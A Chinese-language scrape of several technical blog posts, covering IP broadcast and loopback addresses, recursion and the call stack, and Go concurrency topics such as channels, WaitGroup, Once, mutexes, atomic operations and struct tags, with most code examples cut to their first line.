例如:主机192.168.1.1/30上的直接广播数据包后,另外一个网段192.168.1.5/30也能收到该数据报;若发送受限广播数据报,则不能收到。
注:一般的广播地址(直接广播地址)能够通过某些路由器(当然不是所有的路由器),而受限的广播地址不能通过路由器。
常用于寻找自己的IP地址,例如在我们的RARP,BOOTP和DHCP协议中,若某个未知IP地址的无盘机想要知道自己的IP地址,它就以255.255.255.255为目的地址,向本地范围(具体而言是被各个路由器屏蔽的范围内)的服务器发送IP请求分组。
127.0.0.0/8被用作回环地址,回环地址表示本机的地址,常用于对本机的测试,用的最多的是127.0.0.1。
私有地址(private address)也叫专用地址,它们不会在全球使用,只具有本地意义:
每个递归函数都要有两部分:
下面结合一个实际的例子来理解:
1 | function fib($n) |
如何写好一个递归,要多去思考上面的两个条件应该怎么写。
栈是一种简单的数据结构,在使用递归时,用到了调用栈。
用于存储多个函数的变量的栈,被称为调用栈。
每当调用一个函数,计算机会将函数调用所涉及的所有变量的值存储到内存中,如果此时,再次调用了另一个函数,那么计算机也会为这个函数调用分配一块内存。
计算机使用一个栈来表示这些内存块,其中第二个内存块位于第一个内存块上面。如果函数调用返回,此时,栈顶的内存块就会被弹出。
下面用一张图来解释调用栈的过程:
使用栈虽然很方便,但是也要付出代价:存储调用栈的详尽信息需要占用大量的内存。因为每个函数调用都需要占用一定的内存,如果栈很高,就意味着计算机存储了大量函数调用的信息。
在这种情况下,就不建议继续使用递归了,有两种选择:
例如 Leetcode 的第70题,既可以用递归解决,也可以使用循环(动态规划)解决,但是前者在达到一定深度之后,执行时间就会变得很长。
]]>使用无缓冲带 channel 进行接收和发送操作时,一定要注意,接收和发送操作不能放在同一个 goroutine 中,否则是没有意义的。
为什么这么说呢?
这是因为无缓冲带 channel 的特点是,同步阻塞。
无缓冲带,可以分为两种情况:
结合下面这个图进行理解,也就是无缓冲带 channel 只有同时具备接收和发送能力才会继续往下执行。
结合下面的示例代码来理解:
1 | func main() { |
也就是无论 time.Sleep 休息多少秒, goroutine 中的 123 都不会打印出来。因为 goroutine 阻塞在 ch2 <- 123
这行代码了。
那么应该怎么改写, 123 才会打印出来呢?
只需要将发送数据这一行代码移出 goroutine 即可:
1 | ... |
运行上面的示例代码,输出如下:
1 | go |
符合预期。
很多资料或者文章里面会说,有缓冲带 channel 是异步非阻塞的,这个异步到底该如何理解呢?
有缓冲带,可以分为四种情况:
上面所说异步非阻塞,就是针对第三四种情况的,而第一二种情况,在缓冲带已满、已空时,就和无缓冲带一样了,因此也会是同步阻塞的。
下面用一段示例代码来加深理解。
还是上面的示例代码,只是初始化 channel 时,使用的是有缓冲带的 channel。
1 | func main() { |
执行一下,输出如下:
1 | go |
为什么现在就打印出 123 来了?
正是因为有缓冲带的存在,有缓冲带 channel 不需要同时具有接收和发送能力,才能继续往下执行,数据的发送者将数据放在缓冲带即可,而无需等待数据的接收者出现。
结合下面这个图进行理解:
在这个过程里面,两个操作不是同步的,因此就说有缓冲带 channel 是异步非阻塞。
这两种类型的缓冲带,各自有各自的特点,有的场景仅适合使用无缓冲带 channel,有的场景则只适合使用有缓冲带 channel,不过,也有两种缓冲带都可以使用的场景。
下面这个示例就是两种缓冲带都可以使用的场景。
先来看看示例代码:
1 | func hello(w http.ResponseWriter, req *http.Request) { |
为了方便后面 goroutine 的使用,这里启动了一个 HTTP 服务。
函数 keepPrinting 的作用很简单,在一个不会主动停止的 for 循环中,一直打印变量 i 的值。
运行这段示例代码,会发现终端一直有输出:
1 | ... |
这时,访问一下刚刚启动的 Web 服务:
1 | $ curl -I http://localhost:9999/hello |
怎么状态码是 502,不是 200?
这是因为 main goroutine 一直在 for 循环里面,就没有出来过,所以服务压根就没有启动。
那么有没有什么办法,既可以保证服务正常启动,同时又可以执行 keepPrinting 函数?
答案是有的,那就是“创建”一个 goroutine,由这个 goroutine 去执行 keepPrinting 函数。
因此,上面的示例代码就变成了这样:
1 | func main() { |
运行更新之后的示例代码,会发现终端同样一直有输出:
1 | ... |
访问一下 Web 服务:
1 | $ curl -I http://localhost:9999/hello |
状态码是 200,说明服务已经启动了。
现在虽然达到了上面的预期结果,但是终端输出的内容太多了,导致其他重要的内容容易一下子被“冲走了”。
那么有没有什么办法,可以限制一下输出,只在服务端收到来自客户端的请求时,才会去打印。
当然是可以的,这里就要借助 channel 了。
对上面的示例代码进行改造:
1 |
|
再次执行示例代码,启动 Web 服务:
1 | App runs on port 9999. |
终端访问 Web 服务:
1 | $ curl -I http://localhost:9999/hello |
控制台继续输出如下内容:
1 | 2022/11/25 10:55:56 URL.Path = /hello |
这里这个示例,无论是使用无缓冲 channel还是有缓冲 channel,其效果都是一样的。
当没有新的请求进来时,也就是没有对 channel 进行发送操作,goroutine 会一直阻塞在 url := <-ch
对 channel 的接收操作上。
一旦新的请求进来了,也就是对 channel 进行发送操作了,此时 goroutine 通过接收操作拿到了数据,因此继续往下执行。
goroutine 再次重新进入 for 循环,阻塞等待,重复上面的逻辑。
]]>同样是声明一个切片,这两种方式有什么区别?
1 | // sl1 这个变量声明了,还没初始化,是 nil 值,和nil比较返回true,底层没有分配内存空间 |
同样是声明一个 map,这两种方式有什么区别?
1 | // 变量 m1 只是声明了但是没有初始化,默认值为 nil,这个时候如果直接对 map 进行赋值,则会导致运行时异常 |
因此在使用 map 之前,必须先对其进行初始化。
Go 语言的基本数据类型中,map、slice、channel 这些都是引用类型。
引用类型的特点是,赋值时,不是值传递而是引用传递。
下面通过一个示例来理解:
1 | func main() { |
运行上面的示例代码,输出如下:
1 | 99 |
符合预期。
首先明确一个前提:错误不是异常。
常见的错误处理方法是返回 error
,由调用者决定后续如何处理。但是如果是无法恢复的错误,通常会触发 panic
,程序会因此而无法运行,而这个就是异常。
1 | func main() { |
error
是一个接口,它是 Go 原生内置的类型。
errors
是一个包文件,通常用到它的 errors.New
方法用构造一个错误值,赋值给接口。因此通常把 error
作为返回值类型,errors.New()
作为构造 error 类型的返回值的方式之一,fmt.Errorf()
也可以构造。
type T1 =T
和 type T1 T
两个语法本质上有什么区别呢?
前者是基于类型别名(Type Alias)定义新类型,后者是通过类型声明(Type define)给原类型起别名。
1 | // type alias |
类型 T 与 string 完全等价。完全等价的意思就是,类型别名并没有定义出新类型,类 T 与 string 实际上就是同一种类型,因此通常会称 类型 T 是基础类型 string 的别名。
1 | // type define |
虽然 T1 和 T2 是不同类型,但因为它们的底层类型都是类型 int,所以它们在本质上是相同的。而本质上相同的两个类型,它们的变量可以通过显式转型进行相互赋值,相反,如果本质上是不同的两个类型,它们的变量间连显式转型都不可能,更不要说相互赋值了。
底层类型这个概念在 Go 语言中有重要作用,通常被用来判断两个类型本质上是否相同(Identical)。
下面这样的代码很常见,通常使用第三方依赖时,经常会写出这样的代码。可是,有没有想过一个问题?为什么 http.ResponseWriter
是没有带指针的,而 *http.Request
又带了指针?
1 | type Context struct { |
记住一句话:使用指针可以节省内存,但接口类型不能使用指针。因此定义结构体、作为函数参数时接口类型都是没有指针的,而结构体类型则需要结合实际情况考虑加不加指针。
下面这段代码,作为 goroutine 运行的闭包会发生什么?
1 | func main() { |
初次使用 goroutine 时,肯定都遇到过这个问题,怎么全部输出的是 c、c、c?
这是因为变量 v 是一个共享变量,存在竞争状态。有两种解决方案:将变量作为参数传递给闭包和使用中间变量。
将变量作为参数传递:
1 | for _, v := range values { |
使用中间变量:
1 | for _, v := range values { |
如果使用 Goland 作为开发工具,那么 Go 程序的调试非常简单,不需要额外安装插件,开箱即用。
只需要在对应文件位置,打上断点即可。
如果使用 VsCode 作为开发工具,则需要通过额外安装插件并配置达到调试目的,所以建议直接使用 IDE。
不过需要注意的是,操作系统需要与对应版本对应上,否则是调试不了的。
例如,M1 芯片 不支持amd64,如果刚好安装的是 darwin/amd64
版本,则会提示:
Debugging programs compiled with go version go1.18.1 darwin/amd64 is not supported.
解决方案很简单,直接下载安装 arm64 版本即可。
卸载已经按照好的 Go 非常简单,通常只需要三步:
找到Go 二进制文件的位置,通常是 /usr/local/go
1 | $ which go |
删除Golang二进制文件
1 | sudo rm -rvf /usr/local/go/ |
从 PATH 环境变量中删除 Go 二进制文件所在目录
如果是 macOS,则需要多一步删除 /etc/paths.d/go
文件:
1 | $ sudo rm -rvf /etc/paths.d/go |
详情可以查看官方文档
]]>sync 包的 WaitGroup 类型(以下简称WaitGroup类型),通常用来实现一对一或者一对多的 goroutine 协作流程。
WaitGroup类型,也是零值是可用的,因此不需要初始化,开箱即用。
可以把 WaitGroup 类型理解成是一个计数信号量,用来记录并维护运行的 goroutine。
WaitGroup类型拥有三个指针方法:
下面通过一段示例代码来加深印象:
1 | // 声明一个 WaitGroup 类型的变量 |
首先声明一个全局 WaitGroup 类型的变量,在执行 for 语句之前,显示调用 Add
方法,计数器增加 5,表示有五个即将运行的 goroutine。
在 for 语句中,每次循环”创建”一个goroutine,一共创建五个。
如果 WaitGroup 的值大于 0,Wait
方法就会阻塞,因此 main goroutine 就算先执行完成,也不能马上退出程序,必须等待 WaitGroup 计数器恢复为 0。
一般会在 goroutine 中,配合使用 defer 调用 Done
方法,会保证每个 goroutine 一旦执行完成,就调用 Done
方法,通知 WaitGroup 该 goroutine 已执行完成。
一旦 WaitGroup 计数变为零,main goroutine 就不会被阻塞,从而继续往下执行,程序退出结束。
执行一下上面的示例代码,看看输出是否符合预期:
1 | Worker 5 starting |
符合预期,main goroutine 确实被阻塞了,直到其他 goroutine 都执行完了。
WaitGroup 虽然是开箱即用和并发安全的,但使用时也要注意几点原则,不然可能就引发 panic 了。
不适当地调用 WaitGroup 的 Done
方法和 Add
方法都可能会导致计数器的值小于零,从而引发 panic:
1 | panic: sync: negative WaitGroup counter |
Add
方法比较好理解,因为可以直接传入负数。
另外就是 Add
方法的调用,和对 Wait
方法的调用如果是同时发起的,比如,放在不同的 goroutine 中并发执行,那么也有可能会引发 panic。
虽然这种情况不太容易复现,因此更加需要重视。
与sync.WaitGroup类型一样,sync.Once类型(以下简称Once类型)也属于结构体类型,同样也是开箱即用和并发安全的。由于这个类型中包含了一个sync.Mutex类型的字段,所以,复制该类型的值也会导致功能的失效。
Once类型的 Do
方法只接受一个参数,这个参数的类型必须是func()
,即:无参数声明和结果声明的函数。
该方法的功能并不是对每一种参数函数都只执行一次,而是只执行“首次被调用时传入的”那个函数,并且之后不会再执行任何参数函数。
所以,如果你有多个只需要执行一次的函数,那么就应该为它们中的每一个都分配一个sync.Once类型的值(以下简称Once值)。
sync.Once
通常用于初始化创建实例等场景。
1 | var once sync.Once |
Once类型中有一个名叫 done 的 uint32
类型的字段。它的作用是记录其所属值的Do 方法被调用的次数。
Do 方法在功能方面有两个特点:
Add
,再并发Done
,最后Wait
” 这种标准方式,不要在调用Wait
方法的同时,并发地通过调用Add
方法去增加其计数器的值,因为这也有可能引发 panic如果两个或者多个 goroutine 在没有互相同步的情况下,访问某个共享的资源,并试图同时读和写这个资源,就处于相互竞争的状态,这种情况被称作竞争条件(race condition),也叫做竞争状态。
对一个共享资源的读和写操作必须是原子化的,换句话说,同一时刻只能有一个 goroutine 对共享资源进行读和写操作,否则就会出现并发安全问题,会破坏共享数据的一致性。
这种错误一般都很难发现和定位,排查起来的成本也是非常高的,所以一定要尽量避免。
下面通过一段示例代码来加深印象:
1 | var ( |
示例代码中,使用了 runtime.Gosched()
函数,用来模拟发生 I/O 时,线程切换的场景。
关于sync.WaitGroup
后面的笔记会详细介绍,这里只需要了解是用来阻塞 main goroutine 执行完直接退出的。
执行上面的示例代码,输出如下:
1 | Final Counter: 2 |
怎么会是 2 呢?\
每个 goroutine 各执行两次,一共是四次读写操作,应该是 4 才对呀。
这个就是共享资源引发的并发问题。
那么该如何解决呢?这通常就会涉及同步。
概括来讲,同步的用途有两个,一个是避免多个线程在同一时刻操作同一个数据块,另一个是协调多个线程,以避免它们在同一时刻执行同一个代码块。
由于这样的数据块和代码块的背后都隐含着一种或多种资源(比如存储资源、计算资源、I/O 资源、网络资源等等),所以可以把它们看做是共享资源,或者说共享资源的代表。
因此同步其实就是在控制多个线程对共享资源的访问——一个线程在想要访问某一个共享资源的时候,需要先申请对该资源的访问权限,并且只有在申请成功之后,访问才能真正开始。
而当线程对共享资源的访问结束时,它还必须归还对该资源的访问权限,若要再次访问仍需申请。
可以把这里所说的访问权限想象成一块令牌,线程一旦拿到了令牌,就可以进入指定的区域,从而访问到资源,而一旦线程要离开这个区域了,就需要把令牌还回去,绝不能把令牌带走,因为一旦带走会引发死锁。
如果针对某个共享资源的访问令牌只有一块,那么在同一时刻,就最多只能有一个线程进入到那个区域,并访问到该资源。
这时,可以说,多个并发运行的线程对这个共享资源的访问是完全串行的。
只要一个代码片段需要实现对共享资源的串行化访问,就可以被视为一个临界区(critical section)。
比如,在上面的示例代码中,实现了数据块(counter 变量)写入操作的代码就共同组成了一个临界区。如果针对同一个共享资源,这样的代码片段有多个,那么它们就可以被称为相关临界区。
临界区可以是一个内含了共享数据的结构体及其方法,也可以是操作同一块共享数据的多个函数。
临界区总是需要受到保护的,否则就会产生竞态条件。施加保护的重要手段之一,就是使用实现了某种同步机制的工具,也称为同步工具。
下面用一张图来更清晰地理解三者之间的关系:
在 Go 语言中,同步工具并不少。其中,最重要且最常用的同步工具当属互斥量(mutual exclusion,简称 mutex)。sync 包中的Mutex 就是与其对应的类型,该类型的值可以被称为互斥量或者互斥锁。
一个互斥锁可以被用来保护一个临界区或者一组相关临界区。
因为每当有 goroutine 想进入临界区时,都需要先对它进行锁定,并且,每个 goroutine 离开临界区时,都要及时地对它进行解锁。因此可以通过它来保证,在同一时刻只有一个 goroutine 处于该临界区之内。
下面使用互斥锁来修改前面的示例代码,看看是否可以达到预期结果:
1 | var ( |
修改之后的示例代码,声明了一个 Mutex
类型的变量,在 incCounter()
函数中(临界区),分别加锁 mu.Lock()
和解锁 mu.Unlock
了。
因为 defer 关键字的存在,解锁操作会在 incCounter()
函数调用完成之后,最后去解锁。
运行修改之后的示例代码,输出如下:
1 | Final Counter: 4 |
符合预期。
不过需要注意的是,这里使用互斥锁用来解决示例代码中的原子性问题,并不是最佳的,不能保证绝对的并发安全,至于为什么,以及又该选择什么方式解决原子性问题,可以看这篇笔记。
Go 虽然提供了不少同步工具用来解决竞态条件的问题,但如果使用不当,不但会让程序变慢,还会大大增加死锁(deadlock)的可能性。
所谓的死锁,指的就是当前程序中的main goroutine,以及开发者自己“创建”的 goroutine(这些 goroutine 可以被统称为用户级的 goroutine) 都已经被阻塞。这就相当于整个程序都已经停滞不前了。
Go 语言运行时系统是不允许这种情况出现的,只要它发现所有的用户级 goroutine 都处于等待状态,就会自行抛出一个带有如下信息的 panic:
1 | fatal error: all goroutines are asleep - deadlock! |
注意,这种由 Go 语言运行时系统自行抛出的 panic 都属于致命错误,都是无法被恢复的,调用recover 函数对它们起不到任何作用。也就是说,一旦产生死锁,程序必然崩溃。
因此,一定要尽可能避免死锁的发生。而最简单、有效的方式就是让每一个互斥锁都只保护一个临界区或一组相关临界区。
而且,对于同一个 goroutine 而言,既不要重复锁定一个互斥锁,也不要忘记对它进行解锁。
因此通常会在 mu.Lock()
操作的后面紧跟一个 defer Unlock()
,这是最保险的一种做法。
通过对互斥锁的合理使用,可以使一个 goroutine 在执行临界区中的代码时,不被其他的 goroutine 打扰(保证临界区中代码的串行执行)。不过,虽然不会被打扰,但是它仍然可能会被中断(interruption)。
通过前面学习 goroutine 的调度原理可以知道,goroutine 调度器会从本地运行队列依次调用队列中的 goroutine 与物理处理器 M 运行,
因此,在同一时刻,只可能有少数的 goroutine 真正地处于运行状态,并且这个数量只会与 M 的数量一致,而不会随着队列中的 goroutine 增多而增长。
当遇到阻塞的系统调用时,调度器会将等待系统调用的 goroutine 暂时换下,同时会从本地运行队列里换上另外一个 goroutine 来运行。
这里的换上的意思是,让一个 goroutine 由非运行状态转为运行状态,并促使其中的代码在某个 CPU 核心上执行。换下的意思正好相反,即:使一个 goroutine 中的代码中断执行,并让它由运行状态转为非运行状态。
这个中断的时机有很多,任何两条语句执行的间隙,甚至在某条语句执行的过程中都是可以的。
即使这些语句在临界区之内也是如此。所以,互斥锁虽然可以保证临界区中代码的串行执行,但却不能保证这些代码执行的原子性(atomicity)。
在众多的同步工具中,真正能够保证原子性执行的只有原子操作(atomic operation)。原子操作在进行的过程中是不允许中断的。在底层,这会由 CPU 提供芯片级别的支持,所以绝对有效。即使在拥有多 CPU 核心,或者多 CPU 的计算机系统中,原子操作的保证也是不可撼动的。
这使得原子操作可以完全地消除竞态条件,并能够绝对地保证并发安全性。并且,它的执行速度要比其他的同步工具快得多,通常会高出好几个数量级。不过,它的缺点也很明显。
正是因为原子操作不能被中断,所以它需要足够简单,并且要求快速完成。
因为如果原子操作迟迟不能完成,而它又不会被中断,这将给计算机执行指令的效率带来很大的影响。
Go 语言的原子操作当然是基于 CPU 和操作系统的,所以它也只针对少数数据类型的值提供了原子操作函数。这些函数都存在于标准库代码包 sync/atomic 中。
sync/atomic
包中的函数可以做的原子操作有:
这些函数针对的数据类型并不多。但是,对这些类型中的每一个,sync/atomic
包都会有一套函数给予支持。这些数据类型有:int32
、int64
、uint32
、uint64
、uintptr
,以及unsafe
包中的Pointer。不过,针对unsafe.Pointer类型,该包并未提供进行原子加法操作的函数。
下面这段示例代码,是介绍 sync.Mutex与sync 这篇笔记中的一段代码,当时虽然使用互斥锁解决了竞争条件,但是并没有保证绝对的并发安全,对于原子性问题,就应该使用原子操作来解决。
下面使用原子操作来解决:
1 | var ( |
运行一下,输出如下:
1 | Final Counter: 4 |
可以看到,也是符合预期的。
下面通过一些常见的问题,来更深入了解原子操作。
1. 原子操作函数的第一个参数为什么必须是(整型)指针类型?
因为整型作为函数参数是值传递,被传入的参数值都会被复制一份,对传入的参数进行修改是不会影响到原值的,因此,想要修改原值,就必须传入被被操作值的指针,而不是这个值本身。
2. 用于原子加法操作的函数可以做原子减法吗?
可以的,atomic.AddInt32
函数的第二个参数代表差量,它的类型可以是 int32
,是有符号的。因此,如果想做原子减法,那么把这个差量设置为负整数就可以了。
此外,还要注意的是,goroutine 执行的函数或方法即便有返回值,Go 也会忽略这些返回值。所以,如果要获取 goroutine 执行后的返回值,需要另行考虑其他方法,比如通过 goroutine 间的通信来实现。
传统的编程语言(C++、Java、Python 等)并非面向并发而生的,所以它们面对并发的逻辑多是基于操作系统的线程。
线程之间的通信,利用的也是操作系统提供的线程或进程间通信的原语,比如:共享内存、信号(signal)、管道(pipe)、消息队列、套接字(socket)等。
在这些通信原语中,使用最多、最广泛的(也是最高效的)是结合了线程同步原语(比如:锁以及更为低级的原子操作)的共享内存方式,因此,我们可以说传统语言的并发模型是基于对内存的共享的。
Go 语言从设计伊始,就将解决上面这个传统并发模型的问题作为 Go 的一个目标,并在新并发模型设计中借鉴了著名计算机科学家Tony Hoare提出的 CSP(Communicationing Sequential Processes,通信顺序进程)并发模型。
简单看下 CSP 的通信模型示意图:
在 Go 中,与“Process”对应的是 goroutine。为了实现 CSP 并发模型中的输入和输出原语,Go 还引入了 goroutine(P)之间的通信原语channel。
goroutine 通过 channel 获取输入数据,再将处理后得到的结果通过 channel 输出。通过 channel 将 goroutine(P)组合连接在一起,让设计和编写大型并发系统变得更加简单和清晰。
比如上面提到的获取 goroutine 的退出状态,就可以使用 channel 原语实现:
1 | func spawn(f func() error) <-chan error { |
运行上面的实例代码,输出如下:
1 | // 延迟 2s 打印 |
该示例在 main.goroutine 与子 goroutine 之间建立一个元素类型为 error 的 channel,子 goroutine 退出时,会将它执行的函数的错误值写入这个 channel,main.goroutine 可以通过读取 channel 的值来获取子 gotouine 的退出状态。
channel 也是一等公民。
可以像使用普通变量那样使用 channel,定义 channel 类型变量,给 channel 变量赋值,将 channel 作为参数传递给函数 / 方法、将 channel 作为返回值从函数 / 方法中返回,甚至将 channel 发送到其他 channel 中。
和切片、结构体、map 等一样,channel 也是一种复合数据类型。复合数据类型,在声明类型变量时,必须给出具体的元素类型。
1 | var ch chan int |
上面的示例代码中,声明了一个元素为 int 类型的 channel 类型变量 ch。
如果 channel 类型变量在声明时没有被赋予初值,那么它的默认值为 nil。
和其他复合类型不同的是,给 channel 类型变量赋初值的唯一方式就是 make 这个 Go 预定义函数:
1 | ch1 := make(chan int) |
ch1 表示元素类型为 int 的 channel 类型,是无缓冲 channel; ch2 表示元素类型为 int 的 channel 类型,带缓冲 channel,且缓冲区长度为 5。
这两种类型变量关于发送(send)和接收(receive)的特性是不同的,下面基于这两种类型的 channel,看看 channel 类型变量如何进行发送和接收数据元素。
Go 提供了<-操作符用于对 channel 类型变量进行发送与接收操作:
1 | ch1 <- 13 // 将整型字面值 13 发送到无缓冲 channel 类型变量 ch1 中 |
在理解 channel 的发送与接收操作时,你一定要始终牢记:channel 是用于 Goroutine 间通信的,所以绝大多数对 channel 的读写都被分别放在了不同的 Goroutine 中。
由于无缓冲 channel 的运行时层实现不带有缓冲区,所有 goroutine 对无缓冲 channel 的接收和发送是同步的。
也就是说,对同一个无缓冲 channel,只有对它进行接收操作的 Goroutine 和对它进行发送操作的 Goroutine 都存在的情况下,通信才能得以进行,可以结合 goroutine 并发模型理解:
否则单方面的操作会让对应的 Goroutine 陷入挂起状态,比如下面示例代码:
1 | func main() { |
在上面的示例中,创建了一个无缓冲 channel 类型变量 ch1,对 ch1 的读和写都放在一个 goroutine 中了(因为这里没有手动创建 goroutine,因此只有 main goroutine),因此陷入挂起状态了,这也是上面提到的,为什么要把对 channel 的读写放在不同的 goroutine 中的原因。
解决办法也很简单,只需要将接口操作或者发送操作放到另外一个 goroutine 中就可以了。
1 | func main() { |
由此,可以得出结论:对无缓冲 channel 类型的发送与接收操作,一定要放在两个不同的 Goroutine 中进行,否则会导致 deadlock(死锁)。
和无缓冲 channel 相反,带缓冲 channel 的运行时层面实现带有缓冲区,因此,对带缓冲 channel 的发送操作在缓冲区未满、接收操作在缓冲区非空的情况下是异步的(发送或接收无需阻塞等待)。
也就是,下面四种情况(仅针对 带缓冲 channel):
可以结合下面的示例代码理解:
1 | package main |
也正是因为带缓冲 channel 与无缓冲 channel 在发送与接收行为上的差异,在具体使用上,它们有各自的“用武之地”,这个我们等会再细说,现在我们先继续把 channel 的基本语法讲完。
使用操作符<-
,还可以声明只发送 channel 类型(send-only)和只接收 channel 类型(recv-only),接着看下面这个例子:
1 | ch1 := make(chan<- int, 1) // 只发送channel类型 |
可以从上面的示例代码中看到,试图从一个只发送 channel 类型变量中接收数据,或者向一个只接收 channel 类型发送数据,都会导致编译错误。
通常只发送 channel 类型和只接收 channel 类型,会被用作函数的参数类型或返回值,用于限制对 channel 内的操作,或者是明确可对 channel 进行的操作的类型,比如下面这个例子:
1 | func produce(ch chan<- int) { |
在这个例子中,分别启动了两个 goroutine,分别代表生产者(produce)和消费者(consume)。
生产者只能向 channel 中发送数据,使用 chan<- int
作为 produce 函数的参数类型。
消费者只能从 channel 中接收数据,使用 int<- chan
作为 consume 函数的参数类型。
在消费者函数中,使用 for range
从 channel 中接收数据,for range
会阻塞在对 channel 的接收操作,直到 channel 中有数据可以接收或者channel 被关闭循环,才会继续向下执行。channel 被关闭后,for range 循环也就结束了。
在上面的例子中,produce 函数在发送完数据后,调用 Go 内置的 close 函数关闭了 channel。channel 关闭后,所有等待从这个 channel 接收数据的操作都将返回。
采用不同接收语法形式的语句,在 channel 被关闭后的返回值的情况:
n := <- ch
:当ch被关闭后,n将被赋值为ch元素类型的零值,无法准确判断 channel 是否被关闭m, ok := <-ch
:当ch被关闭后,m将被赋值为ch元素类型的零值, ok值为false,可以准确判断 channel 是否被关闭for v := range ch
:当ch被关闭后,for range循环结束,可以准确判断 channel 是否被关闭另外,从上面的示例中还可以看到,channel 是在 produce 函数中被关闭的,这也是 channel 的一个使用惯例,那就是发送端负责关闭 channel。
这里为什么要在发送端关闭 channel 呢?
这是因为发送端没有像接受端那样的、可以安全判断 channel 是否被关闭了的方法(上面的两种方式)。同时,一旦向一个已经关闭的 channel 执行发送操作,这个操作就会引发 panic:
1 | ch := make(chan int, 5) |
当涉及同时对多个 channel 进行操作时,可以使用 Go 为 CSP 并发模型提供的另外一个原语 select。
通过 select,可以同时在多个 channel 上进行发送 / 接收操作:
1 | func main() { |
这里先简单了解一下基本语法,后面再详细讲解。
无缓冲 channel 兼具通信和同步特性,在并发程序中应用颇为广泛。现在我们来看看几个无缓冲 channel 的典型应用。
无缓冲 channel 用作信号传递的时候,有两种情况,分别是 1 对 1 通知信号和 1 对 n 通知信号。
1 | type signal struct{} |
运行上面的示例代码,输出以下结果:
1 | start a worker... |
这里之所以会执行 worker 函数(worker 函数是在 新的goroutine内的)。
spawn 函数返回的 channel 相当于是一个新 goroutine 创建的“通知信号”,利用无缓冲channel 的特性,对无缓冲 channel 的接收和发送操作是同步的,只有同时具备接收和发送能力才会继续往下执行,因此一定是新的 goroutine 先执行完成,然后才是 main goroutine 执行完成。
有些时候,无缓冲 channel 还被用来实现 1 对 n 的信号通知机制。这样的信号通知机制,常被用于协调多个 Goroutine 一起工作,比如下面的例子:
1 | type signal struct{} |
在这个例子中,main goroutine 创建了一组 5 个 worker goroutine,这些 Goroutine 启动后会阻塞在名为 groupSignal 的无缓冲 channel 上。
main goroutine 通过 close(groupSignal)向所有 worker goroutine 广播“开始工作”的信号,收到信号后,所有 worker goroutine 会“同时”开始工作,也就打印出了结果。
运行上面的示例代码,输出以下结果:
1 | start a group of workers... |
无缓冲 channel 具有同步特性,这让它在某些场合可以替代锁,让我们的程序更加清晰,可读性也更好。我们可以对比下两个方案,直观地感受一下。
首先看下传统基于“共享内存”+“互斥锁”的 Goroutine 安全的计数器的实现:
1 | type counter struct { |
在这个示例中,使用了一个带有互斥锁保护的全局变量作为计数器,所有要操作计数器的 Goroutine 共享这个全局变量,并在互斥锁的同步下对计数器进行自增操作。
接下来再看更符合 Go 设计惯例的实现,也就是使用无缓冲 channel 替代锁后的实现:
1 | type counter struct { |
在这个示例中,将计数器操作全部交给一个独立的 Goroutine 去处理,并通过无缓冲 channel 的同步阻塞的特性,实现计数器的控制。
这样其他 Goroutine 通过 Increase 函数试图增加计数器值的动作,实质上就转化为了一次无缓冲 channel 的接收动作。
这种并发设计逻辑更符合 Go 语言所倡导的“不要通过共享内存来通信,而是通过通信来共享内存”的原则。
运行上面的示例代码,可以得到和互斥锁方案相同的输出:
1 | goroutine-9: current counter value is 10 |
带缓冲的 channel 与无缓冲的 channel 最大的不同之处, 就在于它的异步性。
对一个带缓冲的 channel,在缓冲区未满的情况下,对它进行发送操作的 Goroutine 不会阻塞挂起; 在缓冲区有数据的情况下,对他进行接收操作的 Goroutine 也不会阻塞挂起。
Go 并发设计的一个惯用法,就是将带缓冲 channel 用作计数信号量(counting semaphore)。
带缓冲 channel 中的当前数据个数代表的是,当前同时处于活动状态(处理业务)的 Goroutine 的数量,而带缓冲 channel 的容量(capacity),就代表了允许同时处于活动状态的 Goroutine 的最大数量。
向带缓冲 channel 的一个发送操作表示获取一个信号量,而从 channel 的一个接收操作则表示释放一个信号量。
1 | var active = make(chan struct{}, 3) |
运行示例代码,输出如下:
1 | 2022/11/11 10:03:07 handle job: 2 |
从示例运行结果中的时间戳中,可以看到,虽然创建了很多 Goroutine,但由于计数信号量的存在,同一时间内处理活动状态(正在处理 job)的 Goroutine 的数量最多为 3 个。
结构体标签的定义方式是,在字段声明后面可以跟一个可选的字符串文字。
1 | type T struct { |
通常使用 ` 反引号来定义结构体标签,例如上面结构体 T 的 f6 字段。
为什么说是通常呢?
其实也可以使用双引号去定义,但是遇到需要转义时,就比较麻烦了,开发者总是需要去关心如何转义的问题,而使用反引号则完全不用担心这个问题。
因此绝大多数情况都是反引号去定义的。
上面提到了,结构体字段只需要在字段声明后面跟上字符串就行,但是大多数情况下,不会跟一个毫无规则的字符串,因为这样没有意义。
往往会这样定义一个结构体标签:由一个或多个键值对组成。键与值使用冒号分隔,值用双引号括起来。键值对之间使用一个空格分隔,例如:key1:"value1" key2:"value2"
。
标签可通过 reflect(反射) 包访问,因为这些信息是静态的,因此不需要实例化结构体,就能直接获取到。
结构体标签中常用的一些方法:
Get
:根据 Tag 中的键获取对应的值Lookup
:根据 Tag 中的键,查询值是否存在1 | type T struct { |
需要注意 💡 的是:编写 Tag 时,必须严格遵守键值对的规则。
结构体标签的解析代码的容错能力很差,一旦格式写错,编译和运行时都不会提示任何错误,例如下面这个例子:
1 | type cat struct { |
上面的实例代码,一眼看上去并没有什么问题是吧?
但是实际运行并不会输出期望的 type,这是因为在结构体标签这一行,在json:和”type”之间增加了一个空格。这种写法没有遵守结构体标签的规则,因此无法通过 Tag.Get
获取到正确的 json 对应的值。
这个错误在开发中非常容易被疏忽,造成难以察觉的错误。
结构体标签有许多应用场景,例如配置管理,结构的默认值,验证,命令行参数描述等,可以从这个列表中查看到有哪些项目使用了结构体标签。
]]>所以正式学习 Goroutine 之前,先从什么是并发说起。
并发的概念:两个或者多个事情在同一时间间隔内发生。
在单核 CPU 的时代,操作系统的基本调度和执行单元是进程(process),计算机可以“同时”运行多个程序,都是因为操作系统的并发性的存在。
这些程序宏观上是同时运行的,而微观上则是交替运行的。
这个时候,用户层的应用有两种设计方式:单进程和多进程,下面一一介绍。
一个应用对应一个进程,操作系统(CPU)每次只能为一个进程进行服务。
单进程应用的情况下,用户层应用、操作系统进程以及处理器之间的关系是这样的:
可以看到,因为 CPU 只有一个,因此CPU 会轮流地为各个进程进行服务,CPU 的运行速度非常快,所以宏观上这些进程是同时运行的。
总的来说,单进程应用的设计比较简单,它的内部仅有一条代码执行流,代码从头执行到尾,不存在竞态,无需考虑同步问题。
一个应用对应多个进程,操作系统(CPU)仍然每次只能为一个进程进行服务。
多进程应用的情况下,用户层应用、操作系统进程以及处理器之间的关系是这样的:
